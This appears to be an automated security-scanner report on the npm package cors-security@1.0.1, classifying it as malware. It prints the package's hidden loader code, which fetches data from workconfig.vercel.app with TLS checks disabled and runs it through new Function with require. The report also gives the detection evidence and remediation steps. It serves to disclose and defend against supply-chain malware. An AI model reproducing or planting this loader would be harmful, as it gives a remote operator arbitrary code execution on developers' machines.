registry / Remote code execution / cors-security
cors-security
Professional zero-dependency SVG utilities for Node.js.
This report shows the evidence for cors-security@1.0.1, the only known version.
AI Security Review
scanned 3mo ago · by lpm-firewall-aiThe concealed remote payload loader is concrete arbitrary code execution, not required for the documented SVG functionality. Absence of install hooks limits automatic activation but does not remove the malicious backdoor.
Static reason
No blocking static signals were detected.; source matched previously finalized malicious package; routed for review; source fingerprint signature matched known malicious package; routed for review
Trigger
A CommonJS consumer calls getPlugin() and invokes the returned function.
Impact
Remote operator can execute arbitrary Node.js code in the consumer process.
Mechanism
HTTPS fetch with disabled TLS verification followed by dynamic code execution
Attack narrative
An undocumented CommonJS-only getPlugin helper retrieves data from workconfig.vercel.app with rejectUnauthorized:false and passes it to new Function together with require. The fetched response therefore becomes executable Node.js code in the caller's process. The helper is absent from the ESM API, types, and documentation, concealing this behavior behind an SVG utility package.
AI rationale
The concealed remote payload loader is concrete arbitrary code execution, not required for the documented SVG functionality. Absence of install hooks limits automatic activation but does not remove the malicious backdoor.
Evidence
package.jsonsrc/index.cjssrc/index.mjssrc/index.d.tsREADME.mdbin/svgcraft.mjs
Network endpoints1
workconfig.vercel.app
Decision evidence
public snapshotAI called this Malicious at 99.0% confidence as Malware with low false-positive risk.
Evidence for block
- src/index.cjs exports undocumented getPlugin.
- getPlugin fetches https://workconfig.vercel.app.
- It disables TLS certificate validation.
- Response data is executed with new Function(require, data).
Evidence against
- package.json has no lifecycle hooks.
- src/index.mjs and CLI contain only SVG utilities.
- README.md and index.d.ts omit getPlugin.
Behavioral surface
ChildProcessEvalFilesystemNetwork
HighEntropyStringsUrlStrings
Source & flagged code
4 flagged · loading sourcesrc/index.cjsView file
•matchType = normalized_sha256
matchedPackage = cors-version@1.0.3
matchedPath = src/index.cjs
matchedIdentity = npm:Y29ycy12ZXJzaW9u:1.0.3
similarity = 1.000
summary = normalized source hash matched finalized malicious source
High
Known Malware Source Similarity
Source file is highly similar to a previously finalized malicious package; route for source-aware review.
src/index.cjsView on unpkg•matchType = malicious_source_fingerprint_signature
signature = decf5f2bef9a26e5
signatureType = suspicious_hashes
sourceLabel = final_verdict:malicious
matchedPackage = cors-version@1.0.3
matchedPath = src/index.cjs
matchedIdentity = npm:Y29ycy12ZXJzaW9u:1.0.3
similarity = 1.000
shingleOverlap = 4
summary = package final verdict is malicious
High
Known Malware Source Fingerprint Signature
Source fingerprint signature matches a known malicious package signature; route for source-aware review.
src/index.cjsView on unpkg304https.get("https://workconfig.vercel.app", { rejectUnauthorized: false }, res =>
L305: res.on("data", data => {const handler = new Function('require', data.toString())(require);}))
L306: };
Low
Eval
Package source references a known benign dynamic code generation pattern.
Findings
3 High1 Medium5 Low
HighKnown Malware Source Similaritysrc/index.cjs
HighKnown Malware Source Similaritysrc/index.mjs
HighKnown Malware Source Fingerprint Signaturesrc/index.cjs
MediumNetwork
LowScripts Present
LowEvalsrc/index.cjs
LowFilesystem
LowHigh Entropy Strings
LowUrl Strings
Affected versions and remediation
This report applies to cors-security@1.0.1.
The versions list below shows the verdict for each recorded version.
- Avoid installing cors-security@1.0.1. Remove it from direct dependencies and check your lockfile for transitive copies.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
- If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.
Evidence last updated: .
Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.